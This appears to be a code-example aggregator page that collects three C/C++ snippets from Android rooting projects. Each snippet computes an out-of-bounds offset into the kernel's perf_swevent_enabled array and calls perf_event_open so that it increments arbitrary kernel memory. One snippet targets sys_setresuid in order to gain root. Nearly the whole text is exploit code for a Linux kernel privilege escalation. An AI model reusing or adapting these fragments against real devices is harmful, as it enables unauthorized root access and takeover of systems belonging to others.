C++ (Cpp) get_perf_swevent_enabled_address示例

示例#1

文件： perf_event.c 项目： WNeZRoS/libperf_event_exploit

static pid_t
increment_address_value_in_child_process(unsigned long int address, int count, int *child_fd)
{
  unsigned long int perf_swevent_enabled;
  int offset;
  int i = 0;
  pid_t pid;

  perf_swevent_enabled = get_perf_swevent_enabled_address();
  if (!perf_swevent_enabled) {
    return -1;
  }

  offset = (int)(address - perf_swevent_enabled) / 4;
  offset |= 0x80000000;

  pid = prepare_pipes(child_fd);
  if (pid == 0) {
    for (i = 0; i < count; i++) {
      syscall_perf_event_open(offset);
    }
    printf("Done\n");
  }
  return pid;
}

示例#2

文件： perf_swevent.c 项目： Berrrry/break_setresuid

bool
break_with_perf_swevent(unsigned long int sys_setresuid_address)
{
  unsigned long int perf_swevent_enabled;
  int offset;

  perf_swevent_enabled = get_perf_swevent_enabled_address();
  if (!perf_swevent_enabled) {
    return false;
  }

  offset = (int)(sys_setresuid_address + 0x3c - perf_swevent_enabled) / 4;
  return syscall_perf_event_open(offset);
}

示例#3

文件： perf_event.cpp 项目： Andlab/android_root

static pid_t
increment_address_value_in_child_process(unsigned long int address, int count, int *child_fd)
{
  unsigned long int perf_swevent_enabled;
  int offset;
  int i = 0;
  pid_t pid;

  perf_swevent_enabled = get_perf_swevent_enabled_address();
  if (!perf_swevent_enabled) {
    return -1;
  }

  offset = (int)(address - perf_swevent_enabled) / 4;

  return increment_value_at_offset_in_child_process(offset, count, child_fd);
}